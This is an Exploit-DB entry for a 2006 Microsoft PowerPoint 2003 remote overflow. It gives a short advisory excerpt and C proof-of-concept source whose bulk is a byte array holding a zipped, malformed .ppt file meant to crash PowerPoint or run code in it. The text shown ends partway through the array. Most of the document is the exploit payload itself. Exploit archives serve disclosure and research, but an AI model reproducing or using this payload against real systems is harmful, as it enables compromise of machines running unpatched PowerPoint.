Exploit-DB #28225
Description: Microsoft PowerPoint 2003 - 'powerpnt.exe' Remote Overflow
Type: remote
Platform: windows
Date: 2006-07-14
Author: naveed afzal

Exploit:
/*
source: https://www.securityfocus.com/bid/18993/info
 
Microsoft PowerPoint is prone to multiple remote vulnerabilities.
 
Three proof-of-concept exploit files designed to trigger vulnerabilities in PowerPoint have been released.
 
It is currently unknown if these three exploit files pertain to newly discovered, unpublished vulnerabilities or if they exploit previously disclosed issues. These issues may allow remote attackers to cause crashes or to execute arbitrary machine code in the context of the affected application, but this has not been confirmed.
  
Microsoft PowerPoint 2003 is vulnerable to these issues; other versions may also be affected.
*/

/*-----------------------------------------------------------------------------------------
* MS Power Point Unspecified vulnerability POC
* nice SYS 49152 what about rar ?
* sorry no more comments  :( figure it yourself
* some greetz goes to waqas :)
* Tested against Power Point ' 03
* -- naveed
*---------------------------------------------------------------------------------------*/
#include <stdio.h>

unsigned char pparr[] = {
	0x50, 0x4B, 0x03, 0x04, 0x14, 0x00, 0x00, 0x00, 0x08, 0x00, 0x9D,
0xA9, 0xEB, 0x34, 0x32, 0xBE,
	0xF8, 0x2F, 0xC7, 0x2D, 0x00, 0x00, 0x00, 0x8C, 0x00, 0x00, 0x08,
0x00, 0x00, 0x00, 0x64, 0x61,
	0x77, 0x6E, 0x2E, 0x70, 0x70, 0x74, 0xEC, 0xDA, 0x09, 0x3C, 0x15,
0xEB, 0xFF, 0x07, 0xF0, 0x99,
	0x39, 0x64, 0xA9, 0x90, 0xB6, 0x2B, 0x64, 0x69, 0xD1, 0xBE, 0x4B,
0xB8, 0xA4, 0x14, 0x97, 0x44,
	0xA9, 0xA4, 0x55, 0xD1, 0x49, 0xB2, 0x2F, 0x91, 0xAD, 0x3D, 0xA5,
0xF5, 0x56, 0xD2, 0x82, 0xCA,
	0xA5, 0xDB, 0x42, 0x8B, 0xAB, 0x54, 0x2A, 0xDC, 0x2C, 0xED, 0xA8,
0x94, 0x50, 0x69, 0xD1, 0x76,
	0x51, 0xB4, 0x68, 0x21, 0xE7, 0xF7, 0xCC, 0x70, 0x3E, 0x0E, 0x11,
0xDD, 0xDB, 0x7D, 0xFD, 0x5E,
	0xFF, 0xD7, 0xEF, 0x3F, 0x5E, 0xDF, 0xCE, 0x3C, 0xEF, 0x73, 0xE6,
0x59, 0x66, 0xBE, 0xCF, 0xCC,
	0x9C, 0xE6, 0x64, 0x67, 0xB5, 0x7B, 0x18, 0x19, 0xD7, 0xE5, 0x11,
0xD5, 0x60, 0xD1, 0xA5, 0x78,
	0x54, 0xB5, 0x40, 0x8A, 0x6A, 0x25, 0x62, 0x74, 0x6D, 0x70, 0x8B,
0x1C, 0x45, 0x8D, 0xAE, 0x2D,
	0x57, 0x0B, 0x04, 0x02, 0x96, 0x46, 0x91, 0x10, 0xFC, 0xFF, 0xF2,
0x7F, 0x6A, 0xF9, 0x52, 0xFB,
	0xCA, 0x1E, 0x43, 0x31, 0x72, 0xFC, 0xC4, 0x49, 0xB0, 0xC7, 0x5C,
0x9F, 0x84, 0x24, 0x09, 0x29,
	0x12, 0xD2, 0x24, 0x5A, 0x93, 0x68, 0x43, 0xA2, 0x2D, 0x09, 0x19,
0x12, 0xB2, 0x35, 0x29, 0x40,
	0xB5, 0x23, 0x21, 0x4F, 0xA2, 0x3D, 0x89, 0x0E, 0x24, 0x3A, 0x92,
0xE8, 0x44, 0xA2, 0x33, 0x89,
	0x9F, 0x48, 0x28, 0x90, 0xE8, 0x42, 0x42, 0x91, 0x84, 0x12, 0x09,
0x65, 0x12, 0x5D, 0x49, 0xA8,
	0x90, 0x50, 0x25, 0xA1, 0x46, 0x42, 0x9D, 0x44, 0x37, 0x12, 0xDD,
0x6B, 0x73, 0xA9, 0x27, 0x79,
	0xD5, 0x20, 0xD1, 0x8B, 0x44, 0x6F, 0x12, 0x7D, 0x48, 0xF4, 0x25,
0xD1, 0x8F, 0x44, 0x7F, 0x12,
	0x03, 0x48, 0x0C, 0x24, 0x31, 0x88, 0xC4, 0x60, 0x12, 0x43, 0x48,
0x0C, 0x25, 0x31, 0x8C, 0x84,
	0x26, 0x89, 0xE1, 0x24, 0xB4, 0x48, 0x8C, 0x20, 0xA1, 0x4D, 0x42,
0x87, 0xCB, 0x67, 0x8A, 0xFA,
	0x99, 0x84, 0x5E, 0x6D, 0x1B, 0x6C, 0x18, 0xD4, 0xAE, 0xFF, 0x2F,
0x2F, 0x96, 0x94, 0x2B, 0xF9,
	0xF3, 0x22, 0xC7, 0x62, 0x2C, 0xE5, 0x42, 0x5E, 0x3D, 0x28, 0xDF,
0x86, 0xA7, 0x82, 0x6F, 0x2E,
	0x9D, 0x48, 0xC6, 0x08, 0xEB, 0x62, 0x73, 0x47, 0x6E, 0xE3, 0xF2,
0x79, 0x61, 0x16, 0x59, 0xED,
	0x82, 0xFE, 0xA2, 0x0E, 0x53, 0x67, 0x7A, 0xBF, 0x10, 0xFD, 0x6C,
0xCA, 0x22, 0xDF, 0x32, 0x7A,
	0x7F, 0x06, 0x3D, 0x86, 0xAC, 0x2F, 0x93, 0xAC, 0x31, 0x9A, 0x32,
0x24, 0xED, 0x3B, 0x53, 0x6E,
	0x94, 0x05, 0x65, 0x4B, 0x2D, 0xFC, 0xAE, 0xB6, 0xD9, 0x45, 0x9E,
0x62, 0xC8, 0x1F, 0x45, 0xB1,
	0xB9, 0xCB, 0xF6, 0xA1, 0xA5, 0xDB, 0x69, 0x53, 0xC2, 0xF6, 0x2D,
0x28, 0x27, 0x8A, 0xFF, 0xDD,
	0xED, 0x0A, 0x17, 0x69, 0xD2, 0xBA, 0xE8, 0xFE, 0x6C, 0xC9, 0x36,
0xEC, 0x39, 0xB3, 0x43, 0xED,
	0xBA, 0x21, 0xB5, 0x88, 0xEC, 0x73, 0x0F, 0xD2, 0x03, 0x17, 0xEE,
0x28, 0x4C, 0xA1, 0x3C, 0xC9,
	0xBA, 0x47, 0x8B, 0xDB, 0xEF, 0xF2, 0x37, 0xDA, 0x67, 0xF7, 0x57,
0xBF, 0xDA, 0x75, 0xE1, 0x5C,
	0x68, 0x38, 0xFF, 0x25, 0xA8, 0x7F, 0x6F, 0xFE, 0xB3, 0x6D, 0x89,
0xCE, 0xFF, 0xFF, 0xF5, 0x39,
	0xF8, 0xDF, 0x5C, 0x68, 0xB2, 0xF7, 0x79, 0xD2, 0x35, 0x73, 0xA7,
0xE1, 0xDC, 0x65, 0x8F, 0xED,
	0xF8, 0x49, 0xAA, 0x13, 0x5C, 0x7D, 0xF8, 0x1E, 0x13, 0x5C, 0x1D,
0x5C, 0xBC, 0x54, 0xB5, 0xB5,
	0x1A, 0xE6, 0x12, 0x5D, 0x93, 0x4E, 0xFF, 0x60, 0xA9, 0x90, 0xED,
0x5E, 0x9B, 0x3B, 0x36, 0x29,
	0x5B, 0x9E, 0x6C, 0x19, 0xC4, 0xE6, 0xD9, 0x3B, 0x1E, 0x8F, 0x94,
0x0D, 0x17, 0x79, 0x78, 0xF0,
	0x49, 0xAB, 0x53, 0x3C, 0xF9, 0x1E, 0x92, 0x4D, 0x6C, 0x6D, 0xA0,
0xD7, 0xA5, 0x2C, 0x9A, 0x24,
	0x6C, 0xE9, 0xF8, 0x78, 0xF6, 0x12, 0x40, 0xB9, 0xAB, 0x9B, 0xCC,
0xEB, 0xA4, 0x49, 0xA9, 0x3E,
	0x34, 0xAD, 0xFB, 0x8C, 0x9B, 0x2D, 0xB9, 0xB6, 0x90, 0x8B, 0xC2,
0x32, 0xE7, 0x75, 0xD4, 0x3E,
	0x75, 0x33, 0xCA, 0x83, 0x4D, 0xF0, 0xEA, 0xC5, 0xE1, 0xA5, 0xE1,
0xA3, 0x16, 0x84, 0x8F, 0xED,
	0xB0, 0xAC, 0xD0, 0x2C, 0xD1, 0xD9, 0xC9, 0xB2, 0xA3, 0xA2, 0xA9,
0xE1, 0x0C, 0x93, 0x6E, 0x09,
	0xA6, 0x63, 0xB6, 0xFE, 0x6E, 0x75, 0x3E, 0x7A, 0xAD, 0xA2, 0x94,
0x9A, 0xF8, 0x96, 0xAE, 0xF9,
	0x93, 0x9C, 0x62, 0x82, 0x6E, 0xEE, 0x36, 0x30, 0xD9, 0xE6, 0x68,
0x20, 0xAB, 0x6E, 0xED, 0xE1,
	0xE8, 0x2F, 0x2D, 0xD9, 0xBA, 0xEB, 0xCF, 0xD2, 0xA6, 0x97, 0xD4,
0x8A, 0x72, 0x56, 0x9E, 0x3A,
	0xA8, 0x35, 0xB6, 0x7C, 0x6B, 0x4F, 0x55, 0xF5, 0x15, 0x9D, 0xDD,
0x03, 0x5D, 0xED, 0xF7, 0x08,
	0x0A, 0x2E, 0x57, 0xDD, 0xDF, 0x55, 0x94, 0xE5, 0xB5, 0x5A, 0xF0,
0x67, 0x59, 0x75, 0xA0, 0xAB,
	0xF7, 0x83, 0x02, 0xAD, 0xC2, 0x6B, 0xC9, 0x9F, 0x04, 0x4B, 0xA3,
0xA8, 0x87, 0x7A, 0x97, 0x8A,
	0x8A, 0x65, 0x96, 0x0D, 0x88, 0x38, 0xBF, 0xE7, 0x8C, 0x74, 0xD9,
0x3D, 0xED, 0x65, 0x49, 0x37,
	0x5A, 0xBB, 0xD2, 0xBD, 0x3E, 0xFA, 0x2A, 0x3D, 0x94, 0xFF, 0xFC,
0x61, 0x54, 0x7C, 0xC0, 0xCA,
	0xD7, 0xC5, 0x46, 0x95, 0x85, 0x8B, 0xAB, 0x0E, 0x3D, 0xD1, 0x5D,
0x5B, 0xEA, 0x50, 0xFE, 0x59,
	0xAA, 0x72, 0x77, 0xE1, 0xAD, 0x95, 0x17, 0xEF, 0xDF, 0x95, 0x99,
0xEB, 0x9F, 0xD1, 0xB5, 0xAF,
	0x93, 0x46, 0xDC, 0x22, 0